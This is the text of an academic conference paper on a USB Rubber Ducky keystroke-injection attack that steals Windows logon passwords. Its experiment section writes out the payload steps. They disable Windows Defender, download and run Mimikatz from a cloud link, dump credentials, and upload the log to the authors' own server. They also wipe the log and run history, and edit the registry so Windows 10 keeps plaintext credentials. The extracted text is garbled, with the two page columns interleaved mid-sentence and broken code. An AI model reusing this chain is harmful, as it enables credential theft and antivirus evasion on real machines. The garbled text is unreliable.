Proceedings of The 8th International Multi-Conference on Complexity, Informatics and Cybernetics (IMCIC 2017)

Hacking Experiment Using USB Rubber Ducky Scripting

Benjamin Cannoles
Department of CSIS
University of North Georgia
Dahlonega, GA 30005, USA
[email protected]

and

Ahmad Ghafarian
Department of CSIS
University of North Georgia
Dahlonega, GA 30005, USA
[email protected]

ABSTRACT device that communicates over USB is susceptible to this kind

of attack. Moreover, existing USB security solutions, such as
By leaving your computer unlocked while you are away for white listing individual devices by their serial number, are not
seconds can give hackers all the time they need to obtain your adequate when considering malicious firmware that can make
personal information from your computer. This paper aims to spurious claims about its identity during device enumeration.
detail the necessary research and development of a USB Rubber
Ducky script and its implementation to obtain clear text logon Standard USB devices are too simplistic to reliably
id and passwords from a Windows machine, in mere seconds. authenticate. Similarly, secure devices with signed firmware
Each stage is laid out discussing applications of Ducky script, that could permit authentication are rare, leaving it unclear how
powershell, mimikatz, and re-enabling the vulnerability. Details to defend ourselves against this new attack.
of the attack on Windows 7 operating systems and higher will
be presented. One can employ various approaches to penetrate a machine as a
hacker or a penetration tester such as social engineering,
Keywords: USB Rubber Ducky, hacking, scripting, powershell, exploiting vulnerabilities of the system, etc. One of the practical
mimikatz, and duck tool kit. strategies used by the hackers is to plug in a USB stick to a
machine. This can be done by using a USB device detected by a
1. INTRODUCTION victim's computer as a HID (this is called BadUSB) and running
the code without the knowledge or consent of the victim. For
Nearly every computer, including desktops, laptops, tablets and example, if the user is away for lunch and left his or her
Smartphone take input from humans via keyboards. This is computer unattended, the hacker can plug in the USB in the
possible because there is a specification with every ubiquitous victim’s machine for malicious purposes.
USB standard known as Human Interface Device (HID).
Practically, this means that any USB device claiming to be a Several attempts have been made by researchers to mitigate the
keyboard HID will be automatically detected and accepted by dangers of hacking to a machine via BadUSB. One of such
most modern operating systems including Windows, Mac OS, methods is provided by Vouteva [14]. The author provided a
Linux or Android. proof of concept for the feasibility and deployment of BadUSB
by using an Arduino Micro [15] as a replacement for a
The USB interface is generally a dangerous vector for attack. In BadUSB.
many organizations, use of USB flash drives is restricted [1]
due to their potential for being used as a hacking tool or In this paper, we present the details of our approach in
malware delivery. Examples of USB storage usages to serve as implementing the penetration into a Windows machine via USB
a malware delivery mechanism are provided in various research Rubber Ducky and scripting. The mechanism allows a hacker to
papers including [3, 7, 8, 9]. Recently an even more insidious attack an unattended machine and retrieve sensitive information
form of USB-based attack has emerged known as BadUSB [2, such as user identification and clear text password from the
5]. The BadUSB device registers as multiple device types, victim machine. We will utilize several tools and technologies
allowing the device to take covert actions on the host machine. such as powershell, mimikatz, scripting language, web server
For example, a USB flash drive could register itself as a device and Ducky toolkit NG.
or a keyboard, enabling the ability to inject malicious scripts.
This functionality is present in the Rubber Ducky penetration The rest of this paper is organized as follows. In section 2 we
testing tool [4]. review the literature. Section 3 covers keylogger enabled USB
and other hacking mechanisms related to USB. The tools and
Unfortunately, because USB device firmware cannot be technologies used in this research are described in section 4.
scanned by the host machine, antivirus software cannot detect Section 5 details the implementation of our attack method. The
or defend against this attack. According to the authors in [10] conclusion appears in section 7
this problem is not just limited to suspect flash drives. Any

73
 Proceedings of The 8th International Multi-Conference on Complexity, Informatics and Cybernetics (IMCIC 2017)

2. LITERATURE REVIEW commercial keystroke injection attack platform in the business.

Combined with its scripting language, malware payloads can be
In this section we explain some of the previous research in both written and deployed.
the areas of using USB as an attack vector and the mechanisms
for preventing attacks related to USBs. Many people leave their computers unattended, even if only for
a few minutes. These few minutes is all it takes for personal
At Black Hat 2015, Nohl and Lell presented USB attack information to be stolen from the victim’s machine by a
scenarios using a BadUSB [11]. The authors demonstrated that malicious hacker using the USB Rubber Ducky or a similar
it is possible to use a USB to redirect the user's DNS queries to device. Whether it is a local account or a Microsoft account,
an attacker's DNS server. In a related work Kamkar [12] has vulnerability exists in Windows and many other operating
shown a Teensy USB microcontroller, configured to install a systems. Clear text passwords are stored in the computer’s
backdoor and change the DNS settings of an unlocked machine. main memory that can be extracted using a program called
Recently, another method of using a BadUSB has been Mimikatz designed by Benjamin Delpy [22]. One of the many
developed by Nikhil Mittal (SamratAshok) in a tool called functionality included in mimikatz is the sekurlsa function,
Kautilya [13]. The tool has functionality like information which specifically targets logon passwords and hashes.
gathering and script executions which leads to hacking the
victim machine. This research exploits Windows vulnerability utilizing the USB
Rubber Ducky. In this project the machine has windows
With the aim of mitigating the risks posed by USBs, the authors defender for its antivirus. An account is created on the victim’s
in [16] built a BadUSB device and tested it in a controlled OS machine and all activities are targeting this account. In the next
environment. Based on the results of their tests, they made section we describe the details of the tools and technology
recommendations on how to control the security of a machine. needed to construct the malware payload and for launching an
attack.
In another published research paper the authors exploited
several USB features to establish a rogue HTTP channel used to 4. TOOLS ANd TECHNOLOGIES
leak data stored on the device's disk to an Internet back end
[17]. This section outlines the tools and technologies we used in this
research project.
To mitigate the dangers of using keylogger enabled USB, the
authors in [18] built a method called USBWall with the aim of 4.1 Victim’s Machine
preventing an attack. The authors compared their USBWall For the victim machine we use a physical machine running
with other commercially available antivirus products. In their Windows 7, 64-bits Ultimate Edition with all patches applied
controlled environment, they report that USBWall is and having windows defender as the antivirus software.
comparable to commercial anti-virus software.
4.2 USB Ducky Hardware
3. USB KEYLOGGING We used a USB Rubber Ducky for attack media (Hak5 [4]), this
looks like a USB flash drive which can be plugged into the
Keylogger software has the capability to record every keystroke victim’s machine. The average USB Rubber Ducky includes a
a user makes to a log file. It can record information such as user 60MHz programmable microcontroller and a SD slot. Some of
id, password, instant messages, and e-mail. Detail of the features of this device include behaving like a keyboard; it
Keyloggers performance and whether they need administrative does not show in the task manager and its power consumption
access to the target machine or not are discussed in [19]. In may be revealed by physical measurements.
recent years there has been some hardware development that
enhances the task of keylogging. In this section we describe the 4.3 Scripting Language
specification of one of that hardware that we use in this To write malware payload we use Rubber Ducky scripting
research. language. Writing scripts can be done from any common text
editor such as Notepad. Each command must be written on a
The USB Rubber Ducky has been developed by Hak5 [4]. This new line all in caps, and may have options follow. The
USB key includes a 60MHz programmable microcontroller and commands can invoke keystrokes, key-combos or strings of text
an SD slot. It behaves like a keyboard and it looks like USB as well as offering delays or pauses. The two most common
flash drives. It can be easily hidden on a computer’s device commands are DELAY and STRING. DELAY is followed by
port. Another feature of this device is that it may be hidden in a number that represents milliseconds. For example, the line
the task manager; it is assumed that its power consumption may “DELAY 2000” instructs the Rubber Ducky to wait 2 full
be revealed by physical measurements. However, to use the seconds before proceeding to the next line of code. This is
USB Rubber Ducky we need physical access to the victim’s extremely important in making sure the script runs smoothly
machine and we need to write a malware to be injected into the and effectively. Since the Ducky is extremely fast, some
device. computers may not be able to keep up. This command prohibits
the Ducky to move faster than the computer will be able to
Computers inherently trust devices that claim to be a HID. It’s follow. The STRING command instructs Rubber to process the
through these devices that humans interact with and accomplish text following STRING. It can accept a single or multiple
their daily tasks on all computers including desktops, laptops, characters. Also, the command WINDOWS (or GUI) emulates
tablets, and smart phones. The USB Rubber Ducky is a the Windows-key. Figure 1 shows an example of a script [5]
keyboard emulator disguised within a USB thumb drive case. It which displays Hello World! I am in your PC.
has been used by IT professionals, penetration testers and
hackers since 2010 and has become the most widely used

74
 Proceedings of The 8th International Multi-Conference on Complexity, Informatics and Cybernetics (IMCIC 2017)

a connection to the servers, then copy over sekurlsa.dll and run

it. Mimikatz tools run on all versions of Windows from XP
forward. However, its functionality is somewhat limited in
Windows 10. Below is an example of Mimikatz statements that
need to be executed in order to look for passwords on a system.

privilege::debug
Sekurlsa::logonpasswords

5. HACKING EXPERIMETN

This section details the process of exploiting Windows

vulnerability by creating an attack payload for retrieving user id
and password from the victim’s machine. For this project, the
Figure 1- An example of Rubber Script victim machine will be running Windows 7 with windows
defender as its antivirus.

4.4 Duck Toolkit NG 5.1 Using Ducky Script to Create Payload

The Duck Toolkit NG is an open source penetration testing We used Ducky scripting, which was introduced in section 4.3
platform that allows users to generate USB Rubber Ducky [23] and wrote our own malware script in a notepad and saved it as a
payloads for use on Windows, Linux, Mac OSX and many other text file. This text file was then encoded into an inject.bin file.
popular operating systems. The Duck Toolkit NG allows us to The Following statement converts the script text file to a .bin
use pre built payloads, create our own payloads and decode file.
existing payloads. Using the toolkits require administrative
access, powershell, and Internet access. java -jar duckencode.jar -i payload.txt -o
inject.bin
4.5 Powershell
Powershell is an object-oriented programming language and Once we created the inject.bin file, we injected it onto the
interactive command line shell for Microsoft Windows. microSD card which was then inserted in the USB Rubber
Powershell automates system tasks, such as batch processing, Ducky hardware. At this point the Ducky is ready for the first
and create systems management tools for commonly part of the attack.
implemented processes. Figure 2 shows an example of
powershell for downloading a file from a website and then 5.2 Configuring Mimikatz for File Upload/Download
executing it [6]. The next step is to obtain a copy of the Mimikatz executable
and upload to a hosting service of your choosing, or your own
DELAY 3000 private webserver. For this project we chose a Google Drive
GUI r account to upload the executable file. When the file was
DELAY 100 uploaded we utilized a direct link generator to obtain the
STRING powershell (new-object download link for the mikimatz as this is how it will download
System.Net.WebClient).DownloadFile('http:/ and run from powershell. Uploading the credentials were a little
/example.com/bob.old','%TEMP%\bob.exe'); more in-depth. We created a PHP (Figure 3) page on our
DELAY 100 website to listen to the file coming in, and then save it. This
STRING Start-Process "%TEMP%\bob.exe" receives the file and saves it in the current directory of the PHP
ENTER file, with the name of

Figure 2-Example of a powershell code “Credentials_VictimIPAddress_CurrentDa

temimikatz.log”.
4.6 Web Server
Since we are going to execute the malware remotely from the <?php
web, we need a web server with PHP capability to upload and $uploadDir =
download malware executable files. ‘Credentials’.”_“.$_SERVER[‘REMOTE_A
DD’].”_”.date(“Y-m-d_H-i-s”);
4.7 Mimikatz $uploadFie = $UploadDirc.basename
Mimikatz [22] is an open-source utility that enables the viewing ($_FILES[‘file’][‘name’]);
of credential information from the Windows LSASS (Local ?>
Security Authority Subsystem Service) through its sekurlsa
module which includes plaintext passwords and Kerberos Figure 3- PHP file for uploading files to the server
tickets and much more. Most antivirus tools will detect the
presence of Mimikatz as a threat and delete it, but it is possible 5.3 Required Powershell Script
to go around that. Mimikatz can be executed both locally from After the download and upload locations were set, we needed to
the command line and remotely. To run Mimikatz from the figure out the powershell scripting required. When the Rubber
command line, we need mimikatz.exe and sekurlsa.dll on the Ducky is plugged in, we have to get powershell open and
target machine. This approach is not desirable in this research running with administrator privileges. For that we must open
because we want to be able to use the USB Rubber Ducky and the run menu with Ducky commands and use this statement:
bypass hard drive. To run it remotely, first we need to establish

75
 Proceedings of The 8th International Multi-Conference on Complexity, Informatics and Cybernetics (IMCIC 2017)

Powershell start-process cmd-verb-runAs

del /f mimikatz.log
See Figure 4 below for the complete powershell script
(New-Object Then we needed to clear out the run menu in case our
Net.WebClient).UploadFile('http://sp.canno victim ever goes to check it. This can be done utilizing
les.com/up.php','mimikatz.log') the following code.
del /f mimikatz.log
"Remove-ItemProperty -Path
"Remove-ItemProperty -Path
'HKCU:\Software\Microsoft\Windows\CurrentV
'HKCU:\Software\Microsoft\Windows\CurrentV
ersion\Explorer\RunMRU' -Name '*' -
ersion\Explorer\RunMRU' -Name '*' -
ErrorAction SilentlyContinue"
ErrorAction SilentlyContinue"
Figure 4- Powershell script
This command will delete the history from the windows
Now we have the privileges to continue with our script registry. We are calling it to delete “*” from the RunMRU
effectively. However, before we begin downloading and path. The “ErrorAction SilentlyContinue” command is a
running programs, we first must deal with the antivirus. In this failsafe to ensure the command will continue to execute and
scenario, through a little previous reconnaissance, we know the ignore it, should an error should arise.
victim’s machine is running only windows defender. The
following code will deactivate defenders real time scanning. 5.4 Mimikatz Support Commands
After we run Mimikatz but before we upload our results via
Set-MpPreference-DiableRealtimeMonitoring powershell, we must execute a few commands to obtain the
$true credentials we want. Mimikatz will open in a new prompt
window which will allow us to continue passing the STRING
command through the Ducky to output commands. These
We deactivated the defender in the beginning and then changed
commands are:
the variable $true to $false, to reenable it when we are done, as
to leave no trace.
“Log”, “privilege::debug” and
“sekurlsa::logonpasswords”
The Invoke-Expression directive, the New-Object cmdlet, and
the DownloadFile/UploadFile methods are needed for the next
part. IEX, or Invoke-Expression, is used in powershell to Log will create the .log file in the default location, and prompt
execute rather than echo everything that follows it back in the Mimikatz to record everything outputted. “privilege::debug” is
command line. This is crucial to getting our application to run necessary to give Mimikatz the permissions it needs to pull
after we download it. The New-Object cmdlet opens an credentials from memory. Lastly, “sekurlsa::logonpasswords”
instance of Microsoft .NET framework. When combined with calls the sekurlsa function in Mimikatz. Once it is completed
the WebClient class, it allows sending and receiving to web after the DELAY has passed, we will instruct the Ducky to key
servers. The DownloadFile and UploadFile allow us to specify “ALT F4” closing the Mimikatz window and returning us to the
where and what gets received and sent. The code in Figure 5 powershell prompt.
uses the Invoke-Expression to download the Mimikatz
executable and run it. At this stage the powershell has been written, files are ready for
download and upload, and mimikatz commands are set. Next
IEX (New-Object we encode the code into an inject.bin file, and place the
System.Net.WebClient).DownloadFile('https: MicroSD inside the Rubber Ducky. Once it is plugged into a
//drive.google.com/uc?export=download&id=0 machine, it will automatically run and victim’s login credential
B- and password are retrieved in clear text. The result of execution
N8tg5UKUi_ZmV6bFdQUVAzVzQ',\"$env:temp\mim of the malware is shown in Figure 6 below.
ikatz.exe\"); Start-Process
\"$env:temp\mimikatz.exe\"

Figure 5-Code for Downloading Mimikatz and executing

After Mimikatz has run, it logs the results in an output file, to

get it uploaded the WebClient class must be utilized again as
shown below, with the web address given, pointing to the PHP
file listening for the upload.

(New-Object
Net.WebClient).UploadFile('http://sp.canno
les.com/up.php','mimikatz.log'

Everything written in the cmd prompt does not get saved and
will be erased upon closing it. Unfortunately, the same does not
apply to the Mimikatz.log file and the command that was
written in the run dialog box. These can be quickly erased with
two commands. First, we will use the following to delete the
log file of credentials:

76
 Proceedings of The 8th International Multi-Conference on Complexity, Informatics and Cybernetics (IMCIC 2017)

6. CONCLUSIONS

In this paper we demonstrated the process of writing a malware

payload which can exploit Windows vulnerability to launch an
attack on a victim’s machine. The payload can be executed from
the victim’s machine or remotely. Our aim in this project was to
launch the attack remotely targeting a Windows 7 machine. To
create the malware and launch the attack, we utilized various
tools, such as USB Rubber Ducky, scripting language,
powersehll, mimikatz, Ducky toolkit NG and a web server
account.

For Windows 10 machine, we had to take an extra step of

editing the registry to create the vulnerability that existed in
Windows 7. However, in both cases of Windows 7 and 10 the
malware was injected into a USB Rubber Ducky device, the
device was attached to the victim’s machine, and the payload
was executed remotely. As a result, we were able to retrieve the
victim’s user id and password from the memory of the victim’s
computer.

7. FUTURE RESEARCH

This project can be extended I several ways: 1) instead of

running remotely, one can run the payload locally. 2) More
analysis of main memory and locking for more information. 3)
More experiment with Windows 10 and looking for other
possible implementations rather than editing the registry.

8. REFERENCES
Figure 6- Screenshot shows id and password [1] M. Al-Zarouni. The Reality of Risks from Consented Use
of USB Devices. School of Computer and Information
5.5. Attacks on Windows 10 Machine Science, Edith Cowan University, Perth, Western
As can be seen in Figure 6, the username Australia, 2006.
[email protected] and password Dummydummy [2] A. Caudill and B. Wilson. Phison 2251-03 (2303) Custom
have been retrieved in clear-text. Firmware & Existing Firmware Patches (BadUSB).
GitHub, 26, Sept. 2014.
After Windows 7, Microsoft changed the way that their [3] N. Falliere, L. O. Murchu, and E. Chien. W32. Stuxnet
operating system handled passwords. This vulnerability is not Dossier. 2011.
easily exploitable on Windows 10 without a registry edit. Due [4] Hak4. Episode 709: USB Rubber Ducky Part 1.
to the unique platform of attack, since we have physical access http://hak5.org/episodes/episode-709, 2013.
to the system, we can make a registry edit and allow this [5] Hak5. USB Rubber Ducky Payloads.
vulnerability to be exploited again. https://github.com/hak5darren/USB-Rubber-
Ducky/wiki/Payloads, 2013.
Because the way Windows registry works, performing this all in [6] K. Nohl and J. Lehl. BadUSB – On Accessories That Turn
one attack is very difficult. Therefore, on Windows 10, this Evil. In Blackhat USA, Aug. 2014.
attack must be split into two parts. [7] OLEA Kiosks, Inc. Malware Scrubbing Cyber Security
Kiosk. http://www.olea.com/product/cyber-security-kiosk/,
In the first part we have to edit the Windows Registry to enable 2015.
the vulnerability in Windows 10 and make it susceptible to the [8] S. Shin and G. Gu. Conficker and Beyond: A Large-scale
second part, which is the attack we have already created. Once Empirical Study. In Proceedings of the 26th Annual
we make the registry edit, the Windows account must be Computer Security Applications Conference, ACSAC ’10,
locked, signed out, or restarted before the registry changes go [9] J. Walter. "Flame Attacks": Briefing and Indicators of
into effect. We utilized the “reg add” command to recreate the Compromise. McAfee Labs Report, May 2012.
registry value that Microsoft has removed, and setting its value [10] D. Tian, A. Bates and K. Butler: Defending Against
to “1” for true. Malicious USB Firmware with GoodUSB. ACSAC ’15,
December 07-11, 2015, Los Angeles, CA, USA.
Once we add this value and the account is logged into once [11] BlackHat USA 2014, Karsten Nohl and Jakob Lell,
again, logon passwords will be stored in memory. The Ducky BadUSB - On Accessories that Turn Evil,
script for this part is quite similar but shorter than the previous https://srlabs.de/badusb/, Accessed on 07 Jan 2015
script. We ran powershell as an administrator again, then [12] S. Kamkar, USBDriveBy, http://samy.pl/usbdriveby/, Jan
performed the proper registry edit, and then launched the attack 2015
similar to the one we did before. Similar to Windows 7, we [13] Nikhil "SamratAshok" Mittal, Kautilya,
were able to retrieve the user’s credentials from the memory. https://github.com/samratashok/Kautilya, Jan 2015

77
 Proceedings of The 8th International Multi-Conference on Complexity, Informatics and Cybernetics (IMCIC 2017)

[14] S. Vouteva, Feasibility and Deployment of Bad USB.

University of Amsterdam, System and Network
Engineering Master Research Project, Feb 2015.
[15] Arduino Micro, http://arduino.cc/en/
Main/ArduinoBoardMicro, 2015
[16] R. Bhakte, P. Zavarsky and S. Butakov. Security Controls
for Monitored Use of USB Devices Based on the NIST
Risk Management Framework. Computer Software and
Applications Conference (COMPSAC), 2016 IEEE 40th
Annual,
[17] R. Schilling and F. Steinmetz. USB Device Phoning
Home. Hamburg University of Technology, February
2016.
[18] M. Kang. USBWall: A Novel Security Mechanism to
Protect Against Maliciously Reprogrammed USB Devices.
M.S., Computer Science, University of Kansas, 2015.
[19] G. Fournier, P. Matousswoski and P. Cotret. Hit the
KeyJack: stealing data from your daily device incognito.
CS.CR, France, Oct. 2016.
[20] KeyScrambler, https://www.qfxsoftware.com/.\
[21] KeyGrabber,
http://www.keelog.com/usb_hardware_keylogger.html
[22] Mimikatz, https://github.com/gentilkiwi/mimikatz.
[23] Hall, J., & Breen, K. (2014). Duck ToolKit NG,
https://ducktoolkit.com/

78